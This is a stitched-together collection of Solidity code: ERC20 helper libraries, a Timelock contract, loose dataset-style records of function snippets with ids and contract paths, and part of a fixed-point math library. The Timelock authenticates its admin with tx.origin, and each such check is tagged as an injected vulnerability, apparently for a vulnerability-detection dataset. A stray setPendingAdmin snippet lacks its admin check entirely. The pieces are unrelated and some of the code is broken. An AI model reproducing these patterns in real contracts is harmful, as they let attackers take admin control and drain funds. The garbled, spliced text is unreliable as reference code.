*/ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; // import "./SafeMath.sol"; // import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IToken { function decimals() external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address account) external view returns (uint); function approve(address spender, uint value) external; function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function deposit() external payable; function mint(address, uint256) external; function withdraw(uint amount) external; function totalSupply() view external returns (uint256); function burnFrom(address account, uint256 amount) external; } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IToken token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IToken token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IToken token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IToken token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IToken token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IToken token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library UniversalERC20 { using SafeMath for uint256; using SafeERC20 for IToken; IToken private constant ZERO_ADDRESS = IToken(0x0000000000000000000000000000000000000000); IToken private constant ETH_ADDRESS = IToken(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function universalTransfer(IToken token, address to, uint256 amount) internal { universalTransfer(token, to, amount, false); } function universalTransfer(IToken token, address to, uint256 amount, bool mayFail) internal returns(bool) { if (amount == 0) { return true; } if (token == ZERO_ADDRESS || token == ETH_ADDRESS) { if (mayFail) { return address(uint160(to)).send(amount); } else { address(uint160(to)).transfer(amount); return true; } } else { token.safeTransfer(to, amount); return true; } } function universalApprove(IToken token, address to, uint256 amount) internal { if (token != ZERO_ADDRESS && token != ETH_ADDRESS) { token.safeApprove(to, amount); } } function universalTransferFrom(IToken token, address from, address to, uint256 amount) internal { if (amount == 0) { return; } if (token == ZERO_ADDRESS || token == ETH_ADDRESS) { require(from == msg.sender && msg.value >= amount, "msg.value is zero"); if (to != address(this)) { address(uint160(to)).transfer(amount); } if (msg.value > amount) { msg.sender.transfer(uint256(msg.value).sub(amount)); } } else { token.safeTransferFrom(from, to, amount); } } function universalBalanceOf(IToken token, address who) internal view returns (uint256) { if (token == ZERO_ADDRESS || token == ETH_ADDRESS) { return who.balance; } else { return token.balanceOf(who); } } } contract Timelock { using SafeMath for uint; using UniversalERC20 for IToken; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } function() external payable {} function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(tx.origin == admin, "Timelock::setPendingAdmin: First call must come from admin."); //inject USING TX ORIGIN FOR AUTHENTICATION admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(tx.origin == admin, "Timelock::queueTransaction: Call must come from admin."); //inject USING TX ORIGIN FOR AUTHENTICATION require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(tx.origin == admin, "Timelock::cancelTransaction: Call must come from admin."); //inject USING TX ORIGIN FOR AUTHENTICATION bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(tx.origin == admin, "Timelock::executeTransaction: Call must come from admin."); //inject USING TX ORIGIN FOR AUTHENTICATION bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } // XXX: Additional function function transferTokens(address token, address to, uint256 amount) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); IToken(token).universalTransfer(to, amount); } }
allows one time setting of admin for deployment purposes
function setPendingAdmin(address pendingAdmin_) public { if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); }
5,399,063
./full_match/97/0x37b49Ed6DfCd44db2517FeC6A084Ea5d3bEB7f6D/sources/DefiWarriorPool.sol
random stage pool owner update winner
function random() external onlyPoolOwner { require(!isRandom, "Cannot random"); requestId = getRandomNumber(); isRandom = true; Random(requestId); }
5,038,146
./full_match/5/0x56CeB24f1C86Cc3D5fDD0999e48F5556B099bdA4/sources/contracts/TezoroService.sol
Refund any excess payment
function deployBackupContract( address _beneficiaryAddress, uint256 _minimalAmount, address _tokenAddress, bytes32 _userHash, string memory _userAlias, uint256 _dateTriggerTimestamp ) external payable { require(msg.value >= serviceFee, "Insufficient payment for service."); require( _beneficiaryAddress != address(0), "Beneficiary address cannot be the zero address" ); require( _tokenAddress != address(0), "Token address cannot be the zero address" ); require( (_dateTriggerTimestamp == 0) || (_dateTriggerTimestamp > block.timestamp + restoreDelay), "Date trigger should be at least restore delay in future" ); Tezoro backupContract = new Tezoro( creatorAddress, msg.sender, _beneficiaryAddress, _minimalAmount, _tokenAddress, restoreDelay, revocationDelay, _userHash, _userAlias, _dateTriggerTimestamp ); address backupAddress = address(backupContract); DeployedBackup memory deployedBackup = DeployedBackup( backupAddress, block.timestamp ); deployedBackups.push(deployedBackup); userDeployedBackups[msg.sender].push(deployedBackup); emit DeployedBackupContract( address(backupContract), msg.sender, _dateTriggerTimestamp, _userHash ); if (msg.value > serviceFee) { uint256 refundAmount = msg.value - serviceFee; payable(msg.sender).transfer(refundAmount); } }
7,057,816
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; // Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below). contract LiquidationWithdrawer { function withdrawLiquidation( address financialContractAddress, uint256 liquidationId, address sponsor ) public returns (FixedPoint.Unsigned memory) { return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor); } } interface IFinancialContract { function withdrawLiquidation(uint256 liquidationId, address sponsor) external returns (FixedPoint.Unsigned memory amountWithdrawn); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title Library for fixed point arithmetic on uints */ library FixedPoint { using SafeMath for uint256; using SignedSafeMath for int256; // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For unsigned values: // This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77. uint256 private constant FP_SCALING_FACTOR = 10**18; // --------------------------------------- UNSIGNED ----------------------------------------------------------------------------- struct Unsigned { uint256 rawValue; } /** * @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a uint to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) { return Unsigned(a.mul(FP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if equal, or False. */ function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if equal, or False. */ function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the minimum of `a` and `b`. */ function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the maximum of `a` and `b`. */ function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return add(a, fromUnscaledUint(b)); } /** * @notice Subtracts two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return sub(a, fromUnscaledUint(b)); } /** * @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow. * @param a a uint256. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return sub(fromUnscaledUint(a), b); } /** * @notice Multiplies two `Unsigned`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as a uint256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because FP_SCALING_FACTOR != 0. return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR); } /** * @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a uint256. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.mul(b)); } /** * @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 mulRaw = a.rawValue.mul(b.rawValue); uint256 mulFloor = mulRaw / FP_SCALING_FACTOR; uint256 mod = mulRaw.mod(FP_SCALING_FACTOR); if (mod != 0) { return Unsigned(mulFloor.add(1)); } else { return Unsigned(mulFloor); } } /** * @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Unsigned(a.rawValue.mul(b)); } /** * @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as a uint256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.div(b)); } /** * @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a uint256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return div(fromUnscaledUint(a), b); } /** * @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR); uint256 divFloor = aScaled.div(b.rawValue); uint256 mod = aScaled.mod(b.rawValue); if (mod != 0) { return Unsigned(divFloor.add(1)); } else { return Unsigned(divFloor); } } /** * @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))" // similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned. // This creates the possibility of overflow if b is very large. return divCeil(a, fromUnscaledUint(b)); } /** * @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return output is `a` to the power of `b`. */ function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) { output = fromUnscaledUint(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } // ------------------------------------------------- SIGNED ------------------------------------------------------------- // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For signed values: // This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76. int256 private constant SFP_SCALING_FACTOR = 10**18; struct Signed { int256 rawValue; } function fromSigned(Signed memory a) internal pure returns (Unsigned memory) { require(a.rawValue >= 0, "Negative value provided"); return Unsigned(uint256(a.rawValue)); } function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) { require(a.rawValue <= uint256(type(int256).max), "Unsigned too large"); return Signed(int256(a.rawValue)); } /** * @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a int to convert into a FixedPoint.Signed. * @return the converted FixedPoint.Signed. */ function fromUnscaledInt(int256 a) internal pure returns (Signed memory) { return Signed(a.mul(SFP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a int256. * @return True if equal, or False. */ function isEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if equal, or False. */ function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the minimum of `a` and `b`. */ function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the maximum of `a` and `b`. */ function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the sum of `a` and `b`. */ function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Signed` to an unscaled int, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the sum of `a` and `b`. */ function add(Signed memory a, int256 b) internal pure returns (Signed memory) { return add(a, fromUnscaledInt(b)); } /** * @notice Subtracts two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the difference of `a` and `b`. */ function sub(Signed memory a, int256 b) internal pure returns (Signed memory) { return sub(a, fromUnscaledInt(b)); } /** * @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow. * @param a an int256. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(int256 a, Signed memory b) internal pure returns (Signed memory) { return sub(fromUnscaledInt(a), b); } /** * @notice Multiplies two `Signed`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as an int256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because SFP_SCALING_FACTOR != 0. return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR); } /** * @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b an int256. * @return the product of `a` and `b`. */ function mul(Signed memory a, int256 b) internal pure returns (Signed memory) { return 